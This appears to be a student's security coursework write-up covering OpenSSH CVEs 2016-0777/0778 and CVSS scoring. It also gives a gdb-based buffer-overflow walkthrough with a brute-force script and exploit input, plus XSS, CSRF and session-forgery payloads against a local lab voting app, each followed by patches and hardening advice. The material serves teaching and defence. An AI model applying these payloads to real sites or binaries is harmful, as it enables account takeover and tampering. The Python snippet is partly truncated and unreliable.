Bugs in OpenSSH

1.1 CVE-2016-0777 - Information Leak

OpenSSH client versions between 5.4 and 7.1 are vulnerable to an information leak. The information leak occurs due to an experimental *roaming* feature enabled by default. The *roaming* feature allows a client to buffer input and re-send the buffer to an OpenSSH server on re-connect. This feature, however, uses an unsafe `malloc` call to allocate a buffer on the heap. A potential attacker may be able to read data from a previously de-allocated buffer, including private keys of the client [4].

The immediate remedial action is to update `ssh_config` (global, or all local) and include `UseRoaming no` to disable the roaming feature. Alternatively, all `ssh` sessions can be executed with the `UseRomaing no` flag. The second immediate remedial action is to re-issue all private keys as the attack may have been exploited in the 'wild' allowing for an attacker to have already stolen the private key.

1.2 CVE-2016-0778 - Buffer Overflow

OpenSSH client versions 5.x, 6.x and 7.1.p2 [3] are vulnerable to a file descriptor heap buffer overflow causing a denial of service or arbitrary code execution [5]. In order for this vulnerability to be exploited, two non-default configurations of the OpenSSH client are required - "ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X)" [4].

The immediate remedial action is the same as for *CVE-2016-0777*, `roaming` should be disabled and private keys should be re-issued.

2

A CVSS score is an attempt at standardization of the seriousness of a vulnerability given its *exploitability metrics*. The scores range from 0 to 10 with 10 being the most severe. Each metric contributes to the overall seriousness of an exploit, the total being used as the *base score*.

Exploitability Metrics

1. Attack Vector (AV)
   (a) Network (AV:N)
   (b) Adjacent Network (AV:A)
   (c) Local (AV:L)
   (d) Physical (AV:P)
2. Access Complexity (AC)
   (a) Low (AC:L)
   (b) High (AC:H)
3. Privileges Required (PR)
   (a) None (PR:N)
   (b) Low (PR:L)
   (c) High (PR:H)
4. User Interaction (UI)
   (a) None (UI:N)
   (b) Required (UI:R)
5. Scope (S)
   (a) Unchanged (S:U)
   (b) Changed (S:C)

6. Confidentiality Impact (C)
   (a) None (C:N)
   (b) Low (C:L)
   (c) High (C:H)
7. Integrity Impact (I)
   (a) None (I:N)
   (b) Low (I:L)
   (c) High (I:H)
8. Availability Impact (A)
   (a) None (A:N)
   (b) Low (A:L)
   (c) High (A:H)

CVE-2016-0777 can be exploited over the network (AV:N), an attacker can expect repeated success of the attack as the complexity is low (AC:L), the exploit only requires user permissions (PR:L), it does not require any user interaction (UI:N), it comprises high confidentiality impact (C:H), there is no integrity impact (I:N) and it does not affect availability (A:N). The CVE is characterized as having severity of *Medium (4.0-6.9)*.

CVE-2016-0778 can be exploited over the network (AV:N), it is low in exploit complexity (AC:L), does not require any special privilege (PR:N), no user interaction is required (UI:N) and the impact is high for confidentiality (C:H), high for integrity (I:H) and high for availability (A:H). The CVE is characterized with severity *Cricial (9.0 - 10.0)*.

CVE-2016-0778 is more severe based on the score.

3

Firstly, a code review process would have increased the chances of finding the buffer overflow vulnerability in CVE-2016-077. The code review could initially focus on the correctness of the implementation, however, it should also consider real world statistics on common vulnerabilities and focus on mitigation of such scenarios (CR1.1: 18) [1].

Secondly, automated tools to check for the usage of commonly vulnerable APIs could be used to identify potential attack vectors before the code is deployed. This activity involved using real world data on vulnerability analysis and the respective security issues within the implementation to create an early warning system of unsafe API usage (CR1.4:55) [1].

Thirdly, the operation of an official bug bounty program could lead to a higher number of vulnerabilities discovered as it provides an incentive for security researchers to analyze the application (CMVM3.4) [2]. The vulnerabilities could have been discovered by independent testing and study of the source code.

4

In order to consider the relative merits of switching away from OpenSSH to the new system (let us call the system NewSSH), we have evaluate a range of aspects such as the exposure minimization, the operational model of the server (including other software dependency) with NewSSH, the development and maintenance principles of NewSSH as well as the the metrics used to evaluate the relative gain from switching to NewSSH.

Firstly, theoretically switching to NewSSH can mitigate exposure to vulnerabilities. For example, a vulnerability found in OpenSSH may no longer have any impact on our system running NewSSH. This assumption, however, relies entirely on the implementation of NewSSH. A vulnerability exploiting the specification protocol of SSH may render both systems equally vulnerable. By switching to NewSSH, we are only protecting ourselves from vulnerabilities found in OpenSSH, not vulnerabilities that may be discovered in NewSSH.

Secondly, the operational model of the SSH server is important. A server side switch from OpenSSH to NewSSH may not be able to protect against vulnerabilities found in the client side either application. If the majority of users of the SSH server maintain their usage of OpenSSH, then switching to NewSSH has not decreased our exposure to client side vulnerabilities. This is in fact the case of CVE-2016-0777/8. Additionally, a closed source or a proprietary implementation of NewSSH may in fact increase exposure due to undiscovered vulnerabilities as well as making an object analysis of the security model of NewSSH difficult to obtain.

Thirdly, the development and maintenance principles of NewSSH play an integral role. It is generally assumed that a widely adopted open source application will have had a large number of code reviewers and security researches scrutinizing the source code and patching vulnerabilities as quickly as possible. On the other hand, a potentially closed source or less popular implementation may have a significantly lower number of reviewers and experts involved in the development cycle.

Moreover, the number of CVEs or major vulnerabilities found in either application is not a reasonable indicator of the level of security provided by either application. It could be argued that the larger the number of CVEs reported, the more secure an application ought to be. Alternatively, considering the popularity of the package and the development principles (closed/open source) will affect the number of vulnerabilities discovered. This is due to a larger attack surface in terms of cost per client/server exploitable from the point of view of the attacker. More popular applications attract more attention and therefore also have a larger number of CVEs.

Furthermore, the number of CVEs in itself is not an indicator of security. Each CVE has a severity level, and therefore one would have to compare the severity of each CVE (score) rather than the total count.

I believe that the reasoning provided by my friend is insufficient to make an informed decision on whether switching away from OpenSSH would be beneficial. A deep analysis of both systems would be required in order to make a better informed decision.

Buffer Overflow

1 Exploitation Steps

1. Firstly, it is essential to gain an understanding of the program behavior. We begin by analyzing the program as a function of inputs and outputs. Inputting sample sequences of input such as `aaaa`, `abcd` or `0x00` and larger sequences such as `'a' * 128` yields the undesired *Wrong Password, sorry!* message. From the test cases above, we know that the program is effectively making a comparison to some values rather than just being a dummy password challenge.

2. Secondly, in order to analyze how the program performs the password validity check, we use *gdb* to investigate and disassemble the binary. Running `disas /m main` inside *gdb* yields the following:

```
0x0804863d <+0>:     push   %ebp
0x0804863e <+1>:     mov    %esp,%ebp
0x08048640 <+3>:     and    $0xfffffff0,%esp
0x08048643 <+6>:     sub    $0x30,%esp
0x08048646 <+9>:     movb   $0xd0,0x20(%esp)
0x0804864b <+14>:    movb   $0xf9,0x21(%esp)
0x08048650 <+19>:    movb   $0x19,0x22(%esp)
0x08048655 <+24>:    movb   $0x94,0x23(%esp)
0x0804865a <+29>:    movb   $0x4a,0x24(%esp)
0x0804865f <+34>:    movb   $0xf3,0x25(%esp)
0x08048664 <+39>:    movb   $0x10,0x26(%esp)
0x08048669 <+44>:    movb   $0x92,0x27(%esp)
0x0804866e <+49>:    movb   $0x32,0x28(%esp)
0x08048673 <+54>:    movb   $0x98,0x29(%esp)
0x08048678 <+59>:    movb   $0x11,0x2a(%esp)
0x0804867d <+64>:    movb   $0x8c,0x2b(%esp)
0x08048682 <+69>:    movb   $0x33,0x2c(%esp)
0x08048687 <+74>:    movb   $0x27,0x2d(%esp)
0x0804868c <+79>:    movb   $0x91,0x2e(%esp)
0x08048691 <+84>:    movb   $0xeb,0x2f(%esp)
0x08048696 <+89>:    movl   $0x80487b0,(%esp)
```

   We can see there is a sequence of `movb` instructions setting bytes on an array (identifiable from increasing memory addresses). We can see that Therefore, we know the passcode is stored in the binary itself. We can also observe that the input is being read with `scanf`. Furthermore, we can observe that there is an `MD5` call suggesting the password is being hashed.

   Settings breakpoints around the `scanf` call at `0x080486b1` and the `MD5` call at `0x8048520` we can inspect the memory structure before the user input, after the user input and after the hash. We use `'a' * 32` as input.

```
Before scanf
0xbffffbd0: 0x01 0x00 0x00 0x00 0x94 0xfc 0xff 0xbf
0xbffffbd8: 0x9c 0xfc 0xff 0xbf 0x7d 0x97 0xc8 0xb7
0xbffffbe0: 0xd0 0xf9 0x19 0x94 0x4a 0xf3 0x10 0x92
```

```
0xbffffbe8: 0x32 0x98 0x11 0x8c 0x33 0x27 0x91 0xeb

After scanf
0xbffffbd0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xbffffbd8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xbffffbe0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xbffffbe8: 0x61 0x61 0x61 0x61 0x61 0x00 0x91 0xeb

After MD5
0xbffffbd0: 0xf7 0xce 0x3d 0x7d 0x44 0xf3 0x34 0x21
0xbffffbd8: 0x07 0xd8 0x84 0xbf 0xa9 0x0c 0x96 0x6a
0xbffffbe0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xbffffbe8: 0x61 0x61 0x61 0x61 0x61 0x00 0x91 0xeb
```

We can observe that we can override the memory locations with input except for the final 3 bytes. The third last byte is the null character suggesting `scanf` is being used with an upper bound on the input it reads, in this case it reads 29 bytes and appends the null character. Additionally, after the MD5 is applied, only the first 16 bytes have been modified. Taking the MD5 hash of `'a' * 29` = `f7ce3d7d44f3342107d884bfa90c966a`, we can see that it matches the first 16 bytes of the after MD5 address values.

3. Therefore, in order to pass the password check, we need to find a key, such that it's hash will end in the last 3 bytes we cannot overwrite. That is, we need a key which when MD5 hashed will contain `0x00 0x91 0xeb` as the last 3 bytes.

4. In order to generate a key whose hash ends in `0x00 0x91 0xeb`, we generate a random key, calculate the hash and verify the results matches. This can be computationally expensive, however, knowing only the last 3 bytes of the hash match, we reduce the search space significantly. The following python code does finds the required key and corresponding hash.

```python
import random
import string
import hashlib

RANDOM_STR_SIZE = 4
LAST_BYTES = b'\x00\x91\xeb'
STRING_CHOICE = sum([
        string.ascii_uppercase,
    string.ascii_lowercase,
    string.digits
])

def find_hash():
    value, hash = None, None
    while not value:
        random_str = ''.join(random.choice(STRING_CHOICE) for _ in rang
        md5 = hashlib.md5(bytearray(map(ord, random_str))).digest()
```

```
            if md5.endswith(LAST_BYTES):
                value = random_str
                hash = md5

        return (value, hash)
```

One possible key-hash pair is `FQ3hQntC-fe91pf7b6a7u9e11Qa3eacf0091eb`. Considering our key is 8 bytes long, we need to add padding to increase it's size to 16 bytes. We can use the null character to do so. The resulting input which exploits the binary is then (split onto lines for legibility):

```
FQ3hQntC
\x00\x00\x00\x00\x00\x00\x00\x00
\xfe\x91p\xf7\xb6\xa7u\x9e\x11Q\xa3\xea\xcf\x00\x91\xeb
```

Testing this input with the vulnerable program we receive *Correct Password!*.

2 Exploit

In order to produce a script which automatically exploits the program, we can either dynamically generate a key-hash pair which will exploit the program or such a hash can be pre-computed. The submitted `exploit` script contains both versions with the pre-computed approach select by default. The `./exploit` is written in Python and requires to have executable permissions set. To exploit the `vulnerable` program, run `./exploit ./vulnerable`.

3 Patch

Patch is attached to the submission. It consists of fixing the buffer overflow in the number of characters scanned in `scanf`. Additionally, it increases the size of the password buffer by 1 byte in order to allow for the null terminated character `scanf` appends.

Web Security

1 XSS

An Cross Site Scripting (XSS) attack generally takes the form of malicious user input which is exposed to other users. A such input may include scripting elements allowing an attacker to modify the behavior of the victims view.

Generally, for an XSS attack to be useful, it is desirable to perform an XSS attack in areas of the site restricted to users with a certain level of permission - for example after logging in or in administration mode.

In order to perform an XSS attack on the Image Voting System, we first analyze the system behavior. By logging in as a regular user, we can observe the behavior of the system, paying particular attention to areas where user input is used as part of the site's output. For initial analysis of the site, Chrome Web Developer tools with network and source code analysis suffice to obtain a better picture of the underlying system.

Firstly, we perform the following actions:

1. Log in with `user1:user1`
2. Post a url such as `https://imgs.xkcd.com/comics/toasts.png`
3. Inspect the returned response after submission
4. Post non-url text such as `<div>'"</div>` and observe the exact format of the response

With the above simple steps, we can already make an educated guess on how the server is implemented, we can derive the following:

- The Server side processor is PHP 5.5.9
- X-XSS-Protection header is set to 0
- The API to post a link is `HTTP POST http://localhost:8080/index.php` with form data containing the `link` attribute with the url we submitted.
- The response is rendered inside an `<img src='https://imgs.xkcd.com/comics/toasts.png'>` element
- Non-URL text appears to not be sanitized and is rendered as-is inside the `src` attribute

Armed with this knowledge, we can craft an XSS attack by ensuring we break out of the closing quote as part of our request and inject malicious code. The following does the trick as well as covers up the malformed request by also displaying an image.

```
' style="display:  none" />
<script>alert("Hello World!")</script>
<img src='//imgs.xkcd.com/comics/toasts.png
```

The resulting site will display the following:

```
<img src='' style="display: none">
<script>alert("Hello World!")</script>
<img src='//imgs.xkcd.com/comics/toasts.png'>
```

Any visitor of the site will now receive an `index.php` site containing our malicious script. A serious XSS attack could attempt to steal login credentials (and send them to C&C) and gain access to a user's account or perform any other action while acting as the currently logged in user.

2 CSRF

A Cross Site Request Forgery (CSRF) attack aims to exploit a another user (victim) to perform an action which they did not intend to make. In order to perform a CSRF attack, we need to understand the system implementation and what action we may want to utilize perform the exploit. In order to gain this insight, let us perform a few actions:

- Submit an image `https://imgs.xkcd.com/comics/toasts.png`
- Click 'Vote for me' on David's image
- Click 'Vote for me' on our own image

From the above actions, we know the following:

- We are `user1`
- Voting for David makes an `HTTP GET http://localhost:8080/vote.php?vote=david`, presumably voting for user1 would only require changing the query parameters
- Voting for ourselves fails with an check on the currently logged in user, we can confirm voting for user1 requires to change the query params.

Therefore, we would like to get other users (victims) to unknowingly vote for our own image. We can notice that voting is a GET method, which is incorrectly implemented on the server as a GET action ought to be idempotent, however, in this case it causes side effects - increments vote counter. When a browser is presented with a request to retrieve an image, it will make an `HTTP GET [url]` request to retrieve the content. The browser cannot distinguish an action such as voting from retrieving an image and therefore, we can use the url API of the 'Vote' action to be fetched by the victims browser and in fact vote for us. To do this, we craft can simply insert `http://localhost:8080/vote.php?vote=user1` as the image url. This will, however not render an image and may appear suspicious. Instead, we can hide the request inside a `background-image` style property. Inserting the following will do the trick:

```
//imgs.xkcd.com/comics/toasts.png'
style="background-image: url('vote.php?vote=user1')" '
```

When we (user1) view the site, the count is not incremented as the server prevents us doing so - just as if we clicked the 'Vote for me' button on our own image.

When any other users (victims) view the site, the browser will make a GET request with their credentials and execute the vote. What's more, every reload of the site will increment the vote further.

An alternative method to perform a CSRF attack is to spoof the session ID. Looking at the headers the server sets, we can observe that each request contains the following: `Cookie: username=user1; session=24c9e15e52afc47c225b757e7bee1f9d`. The session appears to be a hash of some sort, we can use Rainbow Tables to attempt to find a corresponding plaintext for the hash. Using `md5cracker.org`, we can quicky find that the hash `24c9e15e52afc47c225b757e7bee1f9d` corresponds to `md5(user1)`, therefore we know the server simply MD5 hashes the username. Armed with this knowledge, we can generate an MD5 hash for user `joseph` to get
`md5(joseph) => cb07901c53218323c4ceacdea4b23c98`, changing the Cookie headers to these values allows us to login as *joseph* and therefore vote for anyone. This exploit requires the knowledge of other usernames on the system.

3 Security Audit

Generate less predictable session keys

In order to improve security, we can issue session keys which appear more random, that is, decrease the probability an attacker will be able to discover the pattern/scheme used to generate the session key and therefore decrease chances of session hijack.

We can achieve this by using a server-side only salt hash. This salt can be added to the username in order to generate a new session key. The scheme can look like this:

```
<?php
$SALT = hexdec('f2492a23247852...');
$session = hash('sha256', md5($username) . $SALT);
?>
```

An attacker may no longer directly look up the common hashes of the username as the salt has been factored into it. However, an even better solution would be to use session cookies which will expire on the server side after a fixed amount of time. This can be achieved by keeping a key-value store of session cookies which will automatically expire after a given duration. A Redis/memcached server could be used to achieve this with relative simplicity. The timed expiration of a session key improves security as old session keys are no longer valid and therefore stolen session keys become obsolete with time.

Lock down debugging and admin configuration

When running a web application in production, debugging information as well as any other tools exposing system internals should not be exposed. In the case of the Online Image Voting system, there are multiple configuration issues.

Firstly, the site should not be running in debugging mode. In the source code we can observe that the configuration option to display errors has been enabled. Indeed, we can also discover this by deliberately introducing syntactical errors in the source code which will result in error messages printed into the page. An unintended consequence is portions of the back end implementation leaking to the attacker therefore increasing exposure. In order to remedy this, we should turn off the `display_errors` option, it should be set to `Off`. In fact, the source code should at no point attempt to set configuration options dynamically, the options should be defined and kept fixed from the start of the application.

This allows for a much tighter control over the configuration options as well as keeping configs in the same place - reducing the chance of a human mistake to miss an occurrence.

Secondly, we should not expose any system level configuration such as admin panels. In the case of our system, going to `localhost:8080/include/.admin.php` we can list all of the configuration attributes of the PHP system including session information and database configurations. On top of that, we can also see the list of installed packaged further increasing an attack surface. This file, `.admin.php` should be located outside of the served directory or it should not be part of the production system at all.

Thirdly, inspecting the headers we notice that the `X-XSS-Protection` header has been turned off. This option in itself does not guarantee XSS protection, rather it is a hardening setting. Modern browsers implement protections against common Cross Site Scripting patterns and are able to block such attempts. Even in development environments, it is unreasonable to disable the protection. We can enable it by setting the header inside `include/functions.php` to `X-XSS-Protection: 1; mode=block`.

Remove database file from served directory

The database should only be accessible through the API the server defines. This allows the API designers to enforce access restrictions and limit exposure. In the Image Voting System, the database file is accessible through `localhost:8080/db/imagevoting.db` and can be easily downloaded by an attacker. The database file should be located outside of the directory served by Apache. We can move the file outside of the `http` directory and put it into `/srv/db/imagevoting.db`. With that change, we also need to update the php confifuration file to allow it to access the new db directory. We can modify `/etc/php/php.ini` adding our path to the `open_basedir` option. It would also be sound to remove all other paths such as `:/home/:/tmp/:/usr/share/pear/:/usr/share/webapps/` as we want to enforce the least level of access. Finally, we update the path to the database file inside `include/functions.php` to point to this new file. Restarting the service yields the desired results.

Sanitize inputs

Finally, an essential step is to sanitize input url we are expecting to receive from the user. We can utilize some utilization functions built into PHP to simplify this process. Using the `filter_var` method, we can specify we are interested in filtering to a URL. Therefore, the resulting change becomes:

```
$link = filter_var(
        $_POST['link'],
    FILTER_VALIDATE_URL,
    FILTER_FLAG_PATH_REQUIRED
);
```

If the input matches a URL, then it's allowed through, otherwise the content becomes empty. In a real system, we would want to indicate action failure, however, for this toy system it is sufficient to secure the input.

References

[1] BSIMM. Code review. `https://www.bsimm.com/framework/software-security-development-lifecycle/code-review/`.

[2] BSIMM. Configuration and vulnerability management. `https://www.bsimm.com/framework/deployment/configuration-and-vulnerability-management/`.

[3] National Vulnerability Database. Vulnerability summary for cve-2016-0778. `https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0778`, 2016.

[4] Qualis.com. Roaming through the openssh client: Cve-2016-0777 and cve-2016-0778. `https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt`, 2016.

[5] RedHat. Cve-2016-0778. `https://access.redhat.com/security/cve/cve-2016-0778`, 2016.